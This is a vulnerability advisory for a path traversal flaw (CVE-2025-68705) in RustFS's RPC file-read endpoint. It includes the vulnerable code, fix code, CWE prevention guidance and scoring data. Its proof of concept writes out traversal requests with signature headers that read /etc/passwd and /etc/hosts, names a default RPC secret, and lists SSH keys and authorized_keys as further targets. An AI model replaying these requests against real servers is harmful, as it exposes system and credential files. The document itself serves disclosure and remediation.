GHSA-pq29-69jg-9mxc CVE-2025-68705
RustFS Path Traversal Vulnerability
- Severity
- 0.0 / 10
- Critical · CVSS 4.0
- Exploit chance (EPSS)
- 7.26%
- Chance of exploitation in the next 30 days. Higher than 94.35% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
- Fix
1.0.0-alpha.79- Upgrade rustfs to this version or later
Description
RustFS Path Traversal Vulnerability
Vulnerability Details
- CVE ID:
- Severity: Critical (CVSS estimated 9.9)
- Impact: Arbitrary File Read/Write
- Component:
/rustfs/rpc/read_file_streamendpoint - Root Cause: Insufficient path validation in
crates/ecstore/src/disk/local.rs:1791
Vulnerable Code
// local.rs:1791 - No path sanitization!
let file_path = volume_dir.join(Path::new(&path)); // DANGEROUS!
check_path_length(file_path.to_string_lossy().to_string().as_str())?; // Only checks length
let mut f = self.open_file(file_path, O_RDONLY, volume_dir).await?;
The code uses PathBuf::join() without:
- Canonicalization
- Path boundary validation
- Protection against
../sequences - Protection against absolute paths
Proof of Concept
Test Environment
- Target: RustFS v0.0.5 (Docker container)
- Endpoint:
http://localhost:9000/rustfs/rpc/read_file_stream - RPC Secret:
rustfsadmin(from RUSTFS_SECRET_KEY) - Disk ID:
/data/rustfs0 - Volume:
.rustfs.sys
Attack Scenario
Exploit Parameters
disk: /data/rustfs0
volume: .rustfs.sys
path: ../../../../etc/passwd # Path traversal payload
offset: 0
length: 751 # Must match file size
Required Authentication
RPC requests require HMAC-SHA256 signature:
# Signature format: HMAC-SHA256(secret, "{url}|{method}|{timestamp}")
Headers:
x-rustfs-signature: Base64(HMAC-SHA256(secret, data))
x-rustfs-timestamp: Unix timestamp
Successful Exploits
1. Read /etc/passwd ✅
Request:
GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=../../../../etc/passwd&offset=0&length=751
x-rustfs-signature: QAesB6sNdwKJluifpIhbKyhdK2EEiiyhpvfRJmXZKlg=
x-rustfs-timestamp: 1766482485
Response: HTTP 200 OK
Content Retrieved:
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[... 15 more lines ...]
rustfs:x:10001:10001::/home/rustfs:/sbin/nologin
Impact: Full user account enumeration
2. Read /etc/hosts ✅
Request:
GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=../../../../etc/hosts&offset=0&length=172
Response: HTTP 200 OK
Content Retrieved:
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
[...]
172.20.0.3 d25e05a19bd2
Impact: Network configuration disclosure
3. Read /etc/hostname ✅
Request:
GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=/etc/hostname&offset=0&length=13
Response: HTTP 200 OK
Content Retrieved:
d25e05a19bd2
Impact: System information disclosure
Technical Analysis
Data Flow
1. HTTP Request
↓
2. RPC Signature Verification (verify_rpc_signature)
↓
3. Find Disk (find_local_disk)
↓
4. Read File Stream (disk.read_file_stream)
↓
5. VULNERABLE: volume_dir.join(Path::new(&path))
↓
6. File Read: /data/rustfs0/.rustfs.sys/../../../../etc/passwd
→ /etc/passwd
Path Traversal Mechanism
// Example traversal:
volume_dir = PathBuf::from("/data/rustfs0/.rustfs.sys")
path = "../../../../etc/passwd"
// PathBuf::join() resolves to:
file_path = "/data/rustfs0/.rustfs.sys/../../../../etc/passwd"
= "/etc/passwd" // Successfully escaped!
Why It Works
- No Canonicalization: Code doesn't use
canonicalize()before validation - No Boundary Check: No verification that final path is within volume_dir
- PathBuf::join() Behavior: Automatically resolves
../sequences - Length-Only Validation:
check_path_length()only checks string length
Special Considerations
- File Size Constraint: The
lengthparameter must exactly match file size- Code validates:
file.len() >= offset + length - Otherwise returns
DiskError::FileCorrupt
- Code validates:
- Volume Requirement: Volume/bucket must exist (e.g.,
.rustfs.sys) - Disk Requirement: Disk must be registered in
GLOBAL_LOCAL_DISK_MAP
Impact Assessment
Confidentiality Impact: HIGH
- ✅ Read arbitrary files (demonstrated)
- ✅ Read system configuration files (
/etc/passwd,/etc/hosts) - ⚠️ Potential to read:
- SSH keys (
/root/.ssh/id_rsa) - Application secrets
- RustFS configuration files
- Environment variables from
/proc
- SSH keys (
Integrity Impact: HIGH
- ⚠️ Similar vulnerability exists in
put_file_stream(not tested) - ⚠️ Arbitrary file write likely possible
- ⚠️ Could write to:
- Cron jobs
- authorized_keys
- System binaries (if permissions allow)
Availability Impact: MEDIUM
- ⚠️
walk_direndpoint could enumerate entire filesystem - ⚠️ Potential DoS via recursive directory traversal
Exploitation Requirements
Prerequisites
- Network Access: Ability to reach RustFS RPC endpoints
- RPC Secret Knowledge: Knowledge of RUSTFS_SECRET_KEY
- Default:
"rustfs-default-secret" - Production: From environment variable or config
- Default:
- Disk/Volume Knowledge: Valid disk ID and volume name
- File Size Knowledge: Exact file sizes for successful reads
Attack Complexity
- Without Secret: Impossible (signature verification)
- With Secret: Trivial (automated script)
- With Default Secret: Critical risk if not changed
Mitigation Recommendations
Immediate Actions (Priority 0)
- Path Canonicalization
async fn read_file_stream(&self, volume: &str, path: &str, ...) -> Result<FileReader> {
let volume_dir = self.get_bucket_path(volume)?;
// CRITICAL FIX:
let file_path = volume_dir.join(Path::new(&path));
let canonical = file_path.canonicalize()
.map_err(|_| DiskError::FileNotFound)?;
// Validate path is within volume_dir
if !canonical.starts_with(&volume_dir) {
error!("Path traversal attempt detected: {:?}", path);
return Err(DiskError::InvalidArgument);
}
// Continue with validated path...
}
- Path Component Validation
// Reject dangerous path components
if path.contains("..") || path.starts_with('/') {
return Err(DiskError::InvalidArgument);
}
- Use path-clean Crate
use path_clean::PathClean;
let cleaned_path = PathBuf::from(&path).clean();
if cleaned_path.to_string_lossy().contains("..") {
return Err(DiskError::InvalidArgument);
}
Additional Security Measures
- Audit Logging: Log all RPC file operations with full paths
- Rate Limiting: Prevent DoS via repeated RPC calls
- Secret Rotation: Ensure unique RPC secrets per deployment
- Network Segmentation: Restrict RPC endpoint access
- Security Testing: Add path traversal tests to test suite
Long-term Improvements
- Chroot Jail: Isolate RPC operations in chroot environment
- Least Privilege: Run RustFS with minimal file system permissions
- Security Audit: Comprehensive review of all file operations
Proof of Concept Script
The complete PoC is available at: exploit_path_traversal.py
Usage
# Ensure RustFS is running
docker compose ps
# Run exploit
python3 exploit_path_traversal.py
Output
[+] SUCCESS! Read 751 bytes
[+] File content:
================================================================================
root:x:0:0:root:/root:/bin/sh
[... full /etc/passwd content ...]
================================================================================
Acknowledgements
RustFS would like to thank bilisheep from the Xmirror Security Team for discovering and responsibly reporting this vulnerability.
Acknowledgements: RustFS would like to thank @realansgar and bilisheep from the Xmirror Security Team for providing the security report.
Affected versions
crates.io
| Package | Vulnerable | Fixed in |
|---|---|---|
| rustfs | >= 1.0.0-alpha.13, < 1.0.0-alpha.79 |
1.0.0-alpha.79 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
rustfs crates.io → 1.0.0-alpha.79
- cargo
cargo update -p rustfs --precise 1.0.0-alpha.79
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- None
- User interaction
- None
- Confidentiality (vulnerable system)
- High
- Integrity (vulnerable system)
- High
- Availability (vulnerable system)
- None
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
- Exploit maturity
- Proof of concept
CVSS 3.1 9.8
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
How to prevent it
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes: realpath() in C getCanonicalPath() in Java GetFullPath() in ASP.NET realpath() or abs_path() in Perl realpath() in PHP
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
- Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
- Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
- Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
- Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
- Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
- Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-mm2q-qcmx-gw4w RustFS: ListServiceAccount authorizes against wrong admin action, enabling cross-user enumeration and root service account takeover | High | Also affects rustfs |
| GHSA-pfcq-4gjr-6gjm RustFS: Missing admin authorization on notification target endpoints allows unauthenticated configuration of event webhooks | High | Also affects rustfs |
| GHSA-mx42-j6wv-px98 RustFS has an authorization bypass in multipart UploadPartCopy enables cross-bucket object exfiltration | Medium | Also affects rustfs |
| GHSA-v9fg-3cr2-277j Rust has Critical Stored XSS in Preview Modal, leading to Administrative Account Takeover | Medium | Also affects rustfs |
| GHSA-w5fh-f8xh-5x3p RustFS: Missing Post Policy Validation leads to Arbitrary Object Write | Critical | Also affects rustfs |
| GHSA-r54g-49rx-98cr RustFS Logs Sensitive Credentials in Plaintext | High | Also affects rustfs |
| GHSA-fc6g-2gcp-2qrq RustFS has SourceIp bypass via spoofed X-Forwarded-For/Real-IP headers | High | Also affects rustfs |
| GHSA-333v-68xh-8mmq RustFS's RPC signature verification logs shared secret | High | Also affects rustfs |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor